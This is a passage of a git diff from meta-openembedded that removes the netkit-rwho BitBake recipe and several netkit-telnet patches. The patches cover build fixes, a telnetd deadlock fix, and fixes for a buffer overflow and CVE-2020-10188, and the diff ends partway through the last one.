@@ -1,108 +0,0 @@
-DESCRIPTION = "netkit-rwho includes, ruptime rwho and rwhod (Daemon to maintain data for rwho/ruptime)"
-HOMEPAGE = "ftp://ftp.uk.linux.org/pub/linux/Networking/netkit"
-SECTION = "net"
-LICENSE = "BSD-4-Clause"
-LIC_FILES_CHKSUM = "file://rwho/rwho.c;beginline=2;endline=3;md5=5a85f13c0142d72fc378e00f15da5b9e"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/n/netkit-rwho/netkit-rwho_${PV}.orig.tar.gz;name=archive \
- ${DEBIAN_MIRROR}/main/n/netkit-rwho/netkit-rwho_${PV}-13.debian.tar.gz;subdir=${BP};name=patch13 \
- file://rwhod \
- file://rwhod.default \
- file://0001-Add-missing-include-path-to-I-options.patch \
- file://0002-Fix-build-issues-found-with-musl.patch \
- "
-SRC_URI[archive.md5sum] = "0f71620d45d472f89134ba0d74242e75"
-SRC_URI[archive.sha256sum] = "0409e2ce4bfdb2dacb2c193d0fedfc49bb975cb057c5c6b0ffcca603a1188da7"
-SRC_URI[patch13.md5sum] = "82ed5a3c6b0bbf00b36508b9787963b9"
-SRC_URI[patch13.sha256sum] = "53aefa27d98b565bf756db57120c03bd224a238e45699d92076420272a6eba8e"
-
-inherit autotools-brokensep useradd update-rc.d update-alternatives
-
-CFLAGS += " -D_GNU_SOURCE"
-
-# Unlike other Debian packages, net-tools *.diff.gz contains another series of
-# patches maintained by quilt. So manually apply them before applying other local
-# patches. Also remove all temp files before leaving, because do_patch() will pop
-# up all previously applied patches in the start
-do_patch[depends] += "quilt-native:do_populate_sysroot"
-netkit_do_patch() {
- cd ${S}
- # it's important that we only pop the existing patches when they've
- # been applied, otherwise quilt will climb the directory tree
- # and reverse out some completely different set of patches
- if [ -d ${S}/patches ]; then
- # whilst this is the default directory, doing it like this
- # defeats the directory climbing that quilt will otherwise
- # do; note the directory must exist to defeat this, hence
- # the test inside which we operate
- QUILT_PATCHES=${S}/patches quilt pop -a
- fi
- if [ -d ${S}/.pc-${BPN} ]; then
- rm -rf ${S}/.pc
- mv ${S}/.pc-${BPN} ${S}/.pc
- QUILT_PATCHES=${S}/debian/patches quilt pop -a
- rm -rf ${S}/.pc ${S}/debian
- fi
- QUILT_PATCHES=${S}/debian/patches quilt push -a
- mv ${S}/.pc ${S}/.pc-${BPN}
-}
-
-do_unpack[cleandirs] += "${S}"
-
-python do_patch() {
- bb.build.exec_func('netkit_do_patch', d)
- bb.build.exec_func('patch_do_patch', d)
-}
-
-do_configure () {
- ./configure --prefix=${prefix}
- echo "LDFLAGS=${LDFLAGS}" >> MCONFIG
-}
-
-do_install () {
- # rwho & ruptime
- install -d ${D}${bindir}
- install -d ${D}${mandir}/man1
- #rwhod
- install -d ${D}${sbindir}
- install -d ${D}${mandir}/man8
- install -d ${D}${sysconfdir}/init.d
- install -d ${D}${sysconfdir}/default
- sed -i 's/install -s/install/' rwho/Makefile
- sed -i 's/install -s/install/' ruptime/Makefile
- sed -i 's/install -s/install/' rwhod/Makefile
- oe_runmake 'INSTALLROOT=${D}' 'BINMODE=0755' \
- 'DAEMONMODE=0755' 'MANMODE=0644' \
- 'BINDIR=${bindir}' 'SBINDIR=${sbindir}' \
- 'MANDIR=${mandir}' install
-
- install -m 0644 ${WORKDIR}/rwhod.default ${D}${sysconfdir}/default/rwhod
- install -m 755 ${WORKDIR}/rwhod ${D}${sysconfdir}/init.d
-
- mkdir -p -m 755 ${D}${localstatedir}/spool/rwho
- chown -R rwhod ${D}${localstatedir}/spool/rwho
-}
-pkg_postinst_ontarget:${PN}-server() {
- ${sysconfdir}/init.d/rwhod start
-}
-
-pkg_postrm:${PN}-server() {
- ${sysconfdir}/init.d/rwhod stop
-}
-
-INITSCRIPT_NAME = "rwhod"
-INITSCRIPT_PARAM = "defaults 85 15"
-
-USERADD_PACKAGES = "${PN}-server"
-GROUPADD_PARAM:${PN}-server = "--system rwhod"
-USERADD_PARAM:${PN}-server = "--system -g rwhod --home-dir ${localstatedir}/spool/rwho \
- --no-create-home --shell /bin/false rwhod"
-
-INSANE_SKIP:${PN} = "already-stripped"
-
-PACKAGES = "${PN}-client ${PN}-server ${PN}-doc ${BPN}-dbg"
-FILES:${PN}-client = "${bindir}/*"
-FILES:${PN}-server = "${sbindir}/* ${localstatedir} ${sysconfdir}/default/* ${sysconfdir}/init.d/*"
-FILES:${PN}-doc = "${mandir}"
-FILES:${PN}-dbg = "${prefix}/src/debug \
- ${bindir}/.debug ${sbindir}/.debug"
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-Drop-using-register-keyword.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-Drop-using-register-keyword.patch
deleted file mode 100644
index f508711d34..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-Drop-using-register-keyword.patch
+++ /dev/null
@@ -1,457 +0,0 @@
-From af89f36fbeb5f6a078b349eed8fc4ad6fbfdf5d1 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 16 Jan 2023 15:26:12 -0800
-Subject: [PATCH] Drop using register keyword
-
-Its gone since c++17
-
-Fixes
-error: ISO C++17 does not allow 'register' storage class specifier [-Wregister]
-| register char c;
-| ^~~~~~~~~
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- telnet/commands.cc | 14 +++++++-------
- telnet/defines.h | 1 +
- telnet/sys_bsd.cc | 2 +-
- telnet/telnet.cc | 18 +++++++++---------
- telnet/terminal.cc | 4 ++--
- telnet/tn3270.cc | 4 ++--
- telnet/tn3270.o | Bin 4008 -> 4008 bytes
- telnet/utilities.cc | 6 +++---
- telnetd/setproctitle.c | 6 +++---
- telnetd/slc.c | 4 ++--
- telnetd/state.c | 12 ++++++------
- telnetd/sys_term.c | 4 ++--
- telnetd/telnetd.c | 4 ++--
- telnetd/termstat.c | 4 ++--
- telnetd/utility.c | 16 ++++++++--------
- 15 files changed, 50 insertions(+), 49 deletions(-)
-
---- a/telnet/commands.cc
-+++ b/telnet/commands.cc
-@@ -192,8 +192,8 @@ static int margc;
- static const char *margv[20];
-
- static void makeargv(void) {
-- register char *cp, *cp2, c;
-- register const char **argp = margv;
-+ char *cp, *cp2, c;
-+ const char **argp = margv;
-
- margc = 0;
- cp = line;
-@@ -204,7 +204,7 @@ static void makeargv(void) {
- cp++;
- }
- while ((c = *cp)!=0) {
-- register int inquote = 0;
-+ int inquote = 0;
- while (isspace(c))
- c = *++cp;
- if (c == '\0')
-@@ -281,7 +281,7 @@ static const char *control(cc_t c)
- * was to assign "c" to an unsigned int variable...
- * Arggg....
- */
-- register unsigned int uic = (unsigned int)c;
-+ unsigned int uic = (unsigned int)c;
-
- if (uic == 0x7f)
- return ("^?");
-@@ -479,7 +479,7 @@ int send_tncmd(int (*func)(int, int), co
- long opt;
-
- if (isprefix(name, "help") || isprefix(name, "?")) {
-- register int col, len;
-+ int col, len;
-
- printf("Usage: send %s <option>\n", cmd);
- printf("Valid options are:\n\t");
-@@ -2212,8 +2212,8 @@ static unsigned long sourceroute(char *a
- static char lsr[44];
- char *cp, *cp2, *lsrp, *lsrep;
- struct in_addr sin_addr;
-- register struct hostent *host = 0;
-- register char c;
-+ struct hostent *host = 0;
-+ char c;
-
- /*
- * Verify the arguments, and make sure we have
---- a/telnet/defines.h
-+++ b/telnet/defines.h
-@@ -52,3 +52,4 @@
- #define CONTROL(x) ((x)&0x1f) /* CTRL(x) is not portable */
-
- #define MODE_OUT8 0x8000 /* binary mode sans -opost */
-+
---- a/telnet/sys_bsd.cc
-+++ b/telnet/sys_bsd.cc
-@@ -285,7 +285,7 @@ void sys_telnet_init(void) {
- int process_rings(int netin, int netout, int netex, int ttyin, int ttyout,
- int poll /* If 0, then block until something to do */)
- {
-- register int c, maxfd;
-+ int c, maxfd;
- /* One wants to be a bit careful about setting returnValue
- * to one, since a one implies we did some useful work,
- * and therefore probably won't be called to block next
---- a/telnet/telnet.cc
-+++ b/telnet/telnet.cc
-@@ -864,7 +864,7 @@ struct spc {
- static int slc_mode = SLC_EXPORT;
-
- void slc_init(void) {
-- register struct spc *spcp;
-+ struct spc *spcp;
-
- localchars = 1;
- for (spcp = spc_data; spcp < &spc_data[NSLC+1]; spcp++) {
-@@ -944,7 +944,7 @@ void slc_import(int def) {
- }
-
- void slc_export(void) {
-- register struct spc *spcp;
-+ struct spc *spcp;
-
- TerminalDefaultChars();
-
-@@ -966,8 +966,8 @@ void slc_export(void) {
- }
-
- void slc(unsigned char *cp, int len) {
-- register struct spc *spcp;
-- register int func,level;
-+ struct spc *spcp;
-+ int func,level;
-
- slc_start_reply();
-
-@@ -1032,7 +1032,7 @@ void slc(unsigned char *cp, int len) {
- }
-
- void slc_check(void) {
-- register struct spc *spcp;
-+ struct spc *spcp;
-
- slc_start_reply();
- for (spcp = &spc_data[1]; spcp < &spc_data[NSLC+1]; spcp++) {
-@@ -1080,7 +1080,7 @@ void slc_add_reply(int func, int flags,
- }
-
- void slc_end_reply(void) {
-- register int len;
-+ int len;
-
- *slc_replyp++ = IAC;
- *slc_replyp++ = SE;
-@@ -1200,7 +1200,7 @@ void env_opt_add(const char *ep) {
- tp = opt_replyp + (vp ? strlen(vp) * 2 : 0) + strlen(ep) * 2 + 6;
- if (tp > opt_replyend)
- {
-- register int len;
-+ int len;
- len = ((tp - opt_reply) + OPT_REPLY_SIZE - 1) & ~(OPT_REPLY_SIZE - 1);
- opt_replyend = opt_reply + len;
- opt_reply = (unsigned char *)realloc(opt_reply, len);
-@@ -1236,7 +1236,7 @@ void env_opt_add(const char *ep) {
- }
-
- void env_opt_end(int emptyok) {
-- register int len;
-+ int len;
-
- len = opt_replyp - opt_reply + 2;
- if (emptyok || len > 6) {
-@@ -1874,7 +1874,7 @@ static unsigned char *nextitem(unsigned
-
- static void netclear(void) {
- #if 0 /* XXX */
-- register char *thisitem, *next;
-+ char *thisitem, *next;
- char *good;
- #define wewant(p) ((nfrontp > p) && (*p == IAC) && \
- (p[1] != EC) && (p[1] != EL))
---- a/telnet/terminal.cc
-+++ b/telnet/terminal.cc
-@@ -569,8 +569,8 @@ struct termspeeds {
- };
-
- void TerminalSpeeds(long *ispeed, long *ospeed) {
-- register struct termspeeds *tp;
-- register long in, out;
-+ struct termspeeds *tp;
-+ long in, out;
-
- out = cfgetospeed(&old_tc);
- in = cfgetispeed(&old_tc);
---- a/telnet/tn3270.cc
-+++ b/telnet/tn3270.cc
-@@ -103,7 +103,7 @@ void init_3270(void) {
- * done: is this the last of a logical block
- */
- int DataToNetwork(char *buffer, int count, int done) {
-- register int loop, c;
-+ int loop, c;
- int origCount;
-
- origCount = count;
-@@ -179,7 +179,7 @@ void outputPurge(void) {
- * count: how much to send
- */
- int DataToTerminal(char *buffer, int count) {
-- register int c;
-+ int c;
- int origCount;
-
- origCount = count;
---- a/telnet/utilities.cc
-+++ b/telnet/utilities.cc
-@@ -252,7 +252,7 @@ void optionstatus(void) {
- /* pointer: where suboption data sits */
- /* length: length of suboption data */
- void printsub(int direction, unsigned char *pointer, int length) {
-- register int i = 0;
-+ int i = 0;
-
- extern int want_status_response;
-
-@@ -262,7 +262,7 @@ void printsub(int direction, unsigned ch
- fprintf(NetTrace, "%s IAC SB ",
- (direction == '<')? "RCVD":"SENT");
- if (length >= 3) {
-- register int j;
-+ int j;
-
- i = pointer[length-2];
- j = pointer[length-1];
-@@ -577,7 +577,7 @@ void printsub(int direction, unsigned ch
- fprintf(NetTrace, "INFO ");
- env_common:
- {
-- register int noquote = 2;
-+ int noquote = 2;
- for (i = 2; i < length; i++ ) {
- switch (pointer[i]) {
- case ENV_VAR:
---- a/telnetd/setproctitle.c
-+++ b/telnetd/setproctitle.c
-@@ -76,7 +76,7 @@ static char Argv0[128]; /* program nam
- void
- initsetproctitle(int argc, char **argv, char **envp)
- {
-- register int i;
-+ int i;
- char *tmp;
-
- /*
-@@ -111,8 +111,8 @@ initsetproctitle(int argc, char **argv,
- void
- setproctitle(const char *fmt, ...)
- {
-- register char *p;
-- register int i=0;
-+ char *p;
-+ int i=0;
- static char buf[2048];
- va_list ap;
-
---- a/telnetd/slc.c
-+++ b/telnetd/slc.c
-@@ -196,7 +196,7 @@ int end_slc(unsigned char **bufp) {
- * Figure out what to do about the client's slc
- */
- void process_slc(unsigned char func, unsigned char flag, cc_t val) {
-- register int hislevel, mylevel, ack;
-+ int hislevel, mylevel, ack;
-
- /*
- * Ensure that we know something about this function
-@@ -260,7 +260,7 @@ void process_slc(unsigned char func, uns
- * Compare client's request with what we are capable of supporting.
- */
- void change_slc(char func, char flag, cc_t val) {
-- register int hislevel, mylevel;
-+ int hislevel, mylevel;
-
- hislevel = flag & SLC_LEVELBITS;
- mylevel = slctab[func].defset.flag & SLC_LEVELBITS;
---- a/telnetd/state.c
-+++ b/telnetd/state.c
-@@ -79,7 +79,7 @@ unsigned char subbuffer[512], *subpointe
- #define TS_DONT 8 /* dont " */
-
- void telrcv(void) {
-- register int c;
-+ int c;
- static int state = TS_DATA;
-
- while (ncc > 0) {
-@@ -1081,7 +1081,7 @@ void suboption(void) {
-
- #ifdef LINEMODE
- case TELOPT_LINEMODE: {
-- register int request;
-+ int request;
-
- if (his_state_is_wont(TELOPT_LINEMODE)) /* Ignore if option disabled */
- break;
-@@ -1158,8 +1158,8 @@ void suboption(void) {
- } /* end of case TELOPT_XDISPLOC */
-
- case TELOPT_ENVIRON: {
-- register int c;
-- register char *cp, *varp, *valp;
-+ int c;
-+ char *cp, *varp, *valp;
-
- if (SB_EOF())
- return;
-@@ -1299,8 +1299,8 @@ static void doclientstat(void) {
-
- void send_status(void) {
- unsigned char statusbuf[256];
-- register unsigned char *ncp;
-- register unsigned char i;
-+ unsigned char *ncp;
-+ unsigned char i;
-
- ncp = statusbuf;
-
---- a/telnetd/sys_term.c
-+++ b/telnetd/sys_term.c
-@@ -413,7 +413,7 @@ extern int def_tspeed, def_rspeed;
-
- static int getptyslave(void) {
- #if 0
-- register int t = -1;
-+ int t = -1;
-
- # ifdef LINEMODE
- int waslm;
-@@ -505,7 +505,7 @@ static int getptyslave(void) {
- * making sure that we have a clean tty.
- */
- static int cleanopen(char *lyne) {
-- register int t;
-+ int t;
-
- /*
- * Make sure that other people can't open the
---- a/telnetd/telnetd.c
-+++ b/telnetd/telnetd.c
-@@ -93,7 +93,7 @@ main(int argc, char *argv[], char *env[]
- struct sockaddr_in from;
- int on = 1;
- socklen_t fromlen;
-- register int ch;
-+ int ch;
-
- #if defined(HAS_IPPROTO_IP) && defined(IP_TOS)
- int tos = -1;
-@@ -837,7 +837,7 @@ void telnet(int f, int p)
-
- #ifdef TIOCNOTTY
- {
-- register int t;
-+ int t;
- t = open(_PATH_TTY, O_RDWR);
- if (t >= 0) {
- (void) ioctl(t, TIOCNOTTY, (char *)0);
---- a/telnetd/termstat.c
-+++ b/telnetd/termstat.c
-@@ -347,7 +347,7 @@ done:
- * at a time, and if using kludge linemode, then only linemode may be
- * affected.
- */
--void clientstat(register int code, register int parm1, register int parm2)
-+void clientstat(int code, register int parm1, register int parm2)
- {
- /*
- * Get a copy of terminal characteristics.
-@@ -419,7 +419,7 @@ void clientstat(register int code, regis
-
- case LM_MODE:
- {
-- register int ack, changed;
-+ int ack, changed;
-
- /*
- * Client has sent along a mode mask. If it agrees with
---- a/telnetd/utility.c
-+++ b/telnetd/utility.c
-@@ -189,7 +189,7 @@ nextitem(char *current, const char *endp
- return current+3 <= endp ? current+3 : NULL;
- case SB: /* loop forever looking for the SE */
- {
-- register char *look = current+2;
-+ char *look = current+2;
-
- while (look < endp) {
- if ((*look++&0xff) == IAC) {
-@@ -224,7 +224,7 @@ nextitem(char *current, const char *endp
- */
- void netclear(void)
- {
-- register char *thisitem, *next;
-+ char *thisitem, *next;
- char *good;
- #define wewant(p) ((nfrontp > p) && ((*p&0xff) == IAC) && \
- (nfrontp > p+1 && (((*(p+1)&0xff) != EC) && ((*(p+1)&0xff) != EL))))
-@@ -354,7 +354,7 @@ netflush(void)
- * ptr - A pointer to a character string to write
- * len - How many bytes to write
- */
--void writenet(register unsigned char *ptr, register int len)
-+void writenet(unsigned char *ptr, register int len)
- {
- /* flush buffer if no room for new data) */
- if ((&netobuf[BUFSIZ] - nfrontp) < len) {
-@@ -589,7 +589,7 @@ printoption(const char *fmt, int option)
- void
- printsub(char direction, unsigned char *pointer, int length)
- {
-- register int i = -1;
-+ int i = -1;
- #ifdef AUTHENTICATE
- char buf[512];
- #endif
-@@ -601,7 +601,7 @@ printsub(char direction, unsigned char *
- netoprintf("td: %s suboption ",
- direction == '<' ? "recv" : "send");
- if (length >= 3) {
-- register int j;
-+ int j;
-
- i = pointer[length-2];
- j = pointer[length-1];
-@@ -817,7 +817,7 @@ printsub(char direction, unsigned char *
-
- case TELOPT_STATUS: {
- const char *cp;
-- register int j, k;
-+ int j, k;
-
- netoprintf("STATUS");
-
-@@ -914,7 +914,7 @@ printsub(char direction, unsigned char *
- netoprintf("INFO ");
- env_common:
- {
-- register int noquote = 2;
-+ int noquote = 2;
- for (i = 2; i < length; i++ ) {
- switch (pointer[i]) {
- case ENV_VAR:
-@@ -1125,7 +1125,7 @@ printsub(char direction, unsigned char *
- void
- printdata(const char *tag, const char *ptr, int cnt)
- {
-- register int i;
-+ int i;
- char xbuf[30];
-
- while (cnt) {
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnet-telnetd-Fix-deadlock-on-cleanup.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnet-telnetd-Fix-deadlock-on-cleanup.patch
deleted file mode 100644
index afcc66dada..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnet-telnetd-Fix-deadlock-on-cleanup.patch
+++ /dev/null
@@ -1,116 +0,0 @@
-From 06ed6a6bf25a22902846097d6b6c97e070c2c326 Mon Sep 17 00:00:00 2001
-From: Seiichi Ishitsuka <ishitsuka.sc@ncos.nec.co.jp>
-Date: Fri, 1 Jun 2018 14:27:35 +0900
-Subject: [PATCH] telnetd: Fix deadlock on cleanup
-
-The cleanup function in telnetd is called both directly and on SIGCHLD
-signals. This, unfortunately, triggered a deadlock in eglibc 2.9 while
-running on a 2.6.31.11 kernel.
-
-What we were seeing is hangs like these:
-
- (gdb) bt
- #0 0xb7702424 in __kernel_vsyscall ()
- #1 0xb7658e61 in __lll_lock_wait_private () from ./lib/libc.so.6
- #2 0xb767e7b5 in _L_lock_15 () from ./lib/libc.so.6
- #3 0xb767e6e0 in utmpname () from ./lib/libc.so.6
- #4 0xb76bcde7 in logout () from ./lib/libutil.so.1
- #5 0x0804c827 in cleanup ()
- #6 <signal handler called>
- #7 0xb7702424 in __kernel_vsyscall ()
- #8 0xb7641003 in __fcntl_nocancel () from ./lib/libc.so.6
- #9 0xb767e0c3 in getutline_r_file () from ./lib/libc.so.6
- #10 0xb767d675 in getutline_r () from ./lib/libc.so.6
- #11 0xb76bce42 in logout () from ./lib/libutil.so.1
- #12 0x0804c827 in cleanup ()
- #13 0x0804a0b5 in telnet ()
- #14 0x0804a9c3 in main ()
-
-and what has happened here is that the user closes the telnet session
-via the escape character. This causes telnetd to call cleanup in frame
-the SIGCHLD signal is delivered while telnetd is executing cleanup.
-
-Telnetd then calls the signal handler for SIGCHLD, which is cleanup().
-Ouch. The actual deadlock is in libc. getutline_r in frame #10 gets the
-__libc_utmp_lock lock, and utmpname above does the same thing in frame
-
-The fix registers the SIGCHLD handler as cleanup_sighandler, and makes
-cleanup disable the SIGCHLD signal before calling cleanup_sighandler.
-
-Signed-off-by: Simon Kagstrom <simon.kagstrom@netinsight.net>
-
-The patch was imported from the Ubuntu netkit-telnet package.
-(https://bugs.launchpad.net/ubuntu/+source/netkit-telnet/+bug/507455)
-
-A previous patch declaring attributes of functions, but it is not used
-in upstream.
-
-Signed-off-by: Seiichi Ishitsuka <ishitsuka.sc@ncos.nec.co.jp>
----
-Upstream-Status: Pending
-
- telnetd/ext.h | 1 +
- telnetd/sys_term.c | 17 ++++++++++++++++-
- telnetd/telnetd.c | 2 +-
- 3 files changed, 18 insertions(+), 2 deletions(-)
-
-diff --git a/telnetd/ext.h b/telnetd/ext.h
-index b98d6ec..08f9d07 100644
---- a/telnetd/ext.h
-+++ b/telnetd/ext.h
-@@ -97,6 +97,7 @@ void add_slc(int, int, int);
- void check_slc(void);
- void change_slc(int, int, int);
- void cleanup(int);
-+void cleanup_sighandler(int);
- void clientstat(int, int, int);
- void copy_termbuf(char *, int);
- void deferslc(void);
-diff --git a/telnetd/sys_term.c b/telnetd/sys_term.c
-index 5b4aa84..c4fb0f7 100644
---- a/telnetd/sys_term.c
-+++ b/telnetd/sys_term.c
-@@ -719,7 +719,7 @@ static void addarg(struct argv_stuff *avs, const char *val) {
- * This is the routine to call when we are all through, to
- * clean up anything that needs to be cleaned up.
- */
--void cleanup(int sig) {
-+void cleanup_sighandler(int sig) {
- char *p;
- (void)sig;
-
-@@ -742,3 +742,18 @@ void cleanup(int sig) {
- shutdown(net, 2);
- exit(0);
- }
-+
-+void cleanup(int sig) {
-+ sigset_t mask, oldmask;
-+
-+ /* Set up the mask of signals to temporarily block. */
-+ sigemptyset (&mask);
-+ sigaddset (&mask, SIGCHLD);
-+
-+ /* Block SIGCHLD while running cleanup */
-+ sigprocmask (SIG_BLOCK, &mask, &oldmask);
-+
-+ cleanup_sighandler(sig);
-+ /* Technically not needed since cleanup_sighandler exits */
-+ sigprocmask (SIG_UNBLOCK, &mask, NULL);
-+}
-diff --git a/telnetd/telnetd.c b/telnetd/telnetd.c
-index 9ace838..788919c 100644
---- a/telnetd/telnetd.c
-+++ b/telnetd/telnetd.c
-@@ -833,7 +833,7 @@ void telnet(int f, int p)
- signal(SIGTTOU, SIG_IGN);
- #endif
-
-- signal(SIGCHLD, cleanup);
-+ signal(SIGCHLD, cleanup_sighandler);
-
- #ifdef TIOCNOTTY
- {
---
-2.7.4
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnet-telnetd-Fix-print-format-strings.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnet-telnetd-Fix-print-format-strings.patch
deleted file mode 100644
index 755b882b67..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnet-telnetd-Fix-print-format-strings.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 7a3095d1e9b7c73f9dca56250f433bcfc7cb660e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 27 Jun 2017 10:15:34 -0700
-Subject: [PATCH] telnet/telnetd: Fix print format strings
-
-Fixes build with hardening flags
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- telnet/utilities.cc | 6 +++---
- telnetd/utility.c | 6 +++---
- 2 files changed, 6 insertions(+), 6 deletions(-)
-
-diff --git a/telnet/utilities.cc b/telnet/utilities.cc
-index 66839ab..36f0731 100644
---- a/telnet/utilities.cc
-+++ b/telnet/utilities.cc
-@@ -583,17 +583,17 @@ void printsub(int direction, unsigned char *pointer, int length) {
- case ENV_VAR:
- if (pointer[1] == TELQUAL_SEND)
- goto def_case;
-- fprintf(NetTrace, "\" VAR " + noquote);
-+ fprintf(NetTrace, "%s", "\" VAR " + noquote);
- noquote = 2;
- break;
-
- case ENV_VALUE:
-- fprintf(NetTrace, "\" VALUE " + noquote);
-+ fprintf(NetTrace, "%s", "\" VALUE " + noquote);
- noquote = 2;
- break;
-
- case ENV_ESC:
-- fprintf(NetTrace, "\" ESC " + noquote);
-+ fprintf(NetTrace, "%s", "\" ESC " + noquote);
- noquote = 2;
- break;
-
-diff --git a/telnetd/utility.c b/telnetd/utility.c
-index 29b7da1..75314cb 100644
---- a/telnetd/utility.c
-+++ b/telnetd/utility.c
-@@ -909,17 +909,17 @@ printsub(char direction, unsigned char *pointer, int length)
- case ENV_VAR:
- if (pointer[1] == TELQUAL_SEND)
- goto def_case;
-- netoprintf("\" VAR " + noquote);
-+ netoprintf("%s", "\" VAR " + noquote);
- noquote = 2;
- break;
-
- case ENV_VALUE:
-- netoprintf("\" VALUE " + noquote);
-+ netoprintf("%s", "\" VALUE " + noquote);
- noquote = 2;
- break;
-
- case ENV_ESC:
-- netoprintf("\" ESC " + noquote);
-+ netoprintf("%s", "\" ESC " + noquote);
- noquote = 2;
- break;
-
---
-2.13.2
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnetd-utility.c-Fix-buffer-overflow-in-netoprintf.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnetd-utility.c-Fix-buffer-overflow-in-netoprintf.patch
deleted file mode 100644
index 8f983e40ab..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnetd-utility.c-Fix-buffer-overflow-in-netoprintf.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From 9c81c8e5bc7782e8ae12c078615abc3c896059f2 Mon Sep 17 00:00:00 2001
-From: Julius Hemanth Pitti <jpitti@cisco.com>
-Date: Tue, 14 Jul 2020 22:34:19 -0700
-Subject: [PATCH] telnetd/utility.c: Fix buffer overflow in netoprintf
-
-As per man page of vsnprintf, when formated
-string size is greater than "size"(2nd argument),
-then vsnprintf returns size of formated string,
-not "size"(2nd argument).
-
-netoprintf() was not handling a case where
-return value of vsnprintf is greater than
-"size"(2nd argument), results in buffer overflow
-while adjusting "nfrontp" pointer to point
-beyond "netobuf" buffer.
-
-Here is one such case where "nfrontp"
-crossed boundaries of "netobuf", and
-pointing to another global variable.
-
-(gdb) p &netobuf[8255]
-$5 = 0x55c93afe8b1f <netobuf+8255> ""
-(gdb) p nfrontp
-$6 = 0x55c93afe8c20 <terminaltype> "\377"
-(gdb) p &terminaltype
-$7 = (char **) 0x55c93afe8c20 <terminaltype>
-(gdb)
-
-This resulted in crash of telnetd service
-with segmentation fault.
-
-Though this is DoS security bug, I couldn't
-find any CVE ID for this.
-
-Upstream-Status: Pending
-
-Signed-off-by: Julius Hemanth Pitti <jpitti@cisco.com>
----
- telnetd/utility.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/telnetd/utility.c b/telnetd/utility.c
-index b9a46a6..4811f14 100644
---- a/telnetd/utility.c
-+++ b/telnetd/utility.c
-@@ -66,7 +66,7 @@ netoprintf(const char *fmt, ...)
- len = vsnprintf(nfrontp, maxsize, fmt, ap);
- va_end(ap);
-
-- if (len<0 || len==maxsize) {
-+ if (len<0 || len>=maxsize) {
- /* didn't fit */
- netflush();
- }
---
-2.19.1
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-utility-Include-time.h-form-time-and-strftime-protot.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-utility-Include-time.h-form-time-and-strftime-protot.patch
deleted file mode 100644
index a5e634caab..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-utility-Include-time.h-form-time-and-strftime-protot.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 23b068e695881be0e8205ecccadf775fc3d5889d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 6 Sep 2022 21:25:50 -0700
-Subject: [PATCH] utility: Include time.h form time() and strftime() prototypes
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- telnetd/utility.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/telnetd/utility.c b/telnetd/utility.c
-index 4811f14..b539777 100644
---- a/telnetd/utility.c
-+++ b/telnetd/utility.c
-@@ -40,6 +40,7 @@ char util_rcsid[] =
- #define PRINTOPTIONS
-
- #include <stdarg.h>
-+#include <time.h> /* for time() anf strftime() */
- #include <sys/utsname.h>
-
- #ifdef AUTHENTICATE
---
-2.37.3
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/CVE-2020-10188.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/CVE-2020-10188.patch
deleted file mode 100644
index d21c602746..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/CVE-2020-10188.patch
+++ /dev/null
@@ -1,112 +0,0 @@
-From 6ab007dbb1958371abff2eaaad2b26da89b3c74e Mon Sep 17 00:00:00 2001
-From: Yi Zhao <yi.zhao@windriver.com>
-Date: Fri, 24 Apr 2020 09:43:44 +0800
-Subject: [PATCH] telnetd/utility.c: fix CVE-2020-10188
-
-Upstream-Status: Backport
-[Fedora: https://src.fedoraproject.org/rpms/telnet/raw/master/f/telnet-0.17-overflow-exploit.patch]
-
-CVE: CVE-2020-10188
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- telnetd/utility.c | 32 +++++++++++++++++++++-----------
- 1 file changed, 21 insertions(+), 11 deletions(-)
-
-diff --git a/telnetd/utility.c b/telnetd/utility.c
-index 75314cb..b9a46a6 100644
---- a/telnetd/utility.c
-+++ b/telnetd/utility.c
-@@ -169,31 +169,38 @@ void ptyflush(void)
- */
- static
- char *
--nextitem(char *current)
-+nextitem(char *current, const char *endp)
- {
-+ if (current >= endp) {
-+ return NULL;
-+ }
- if ((*current&0xff) != IAC) {
- return current+1;
- }
-+ if (current+1 >= endp) {
-+ return NULL;
-+ }
- switch (*(current+1)&0xff) {
- case DO:
- case DONT:
- case WILL:
- case WONT:
-- return current+3;
-+ return current+3 <= endp ? current+3 : NULL;
- case SB: /* loop forever looking for the SE */
- {
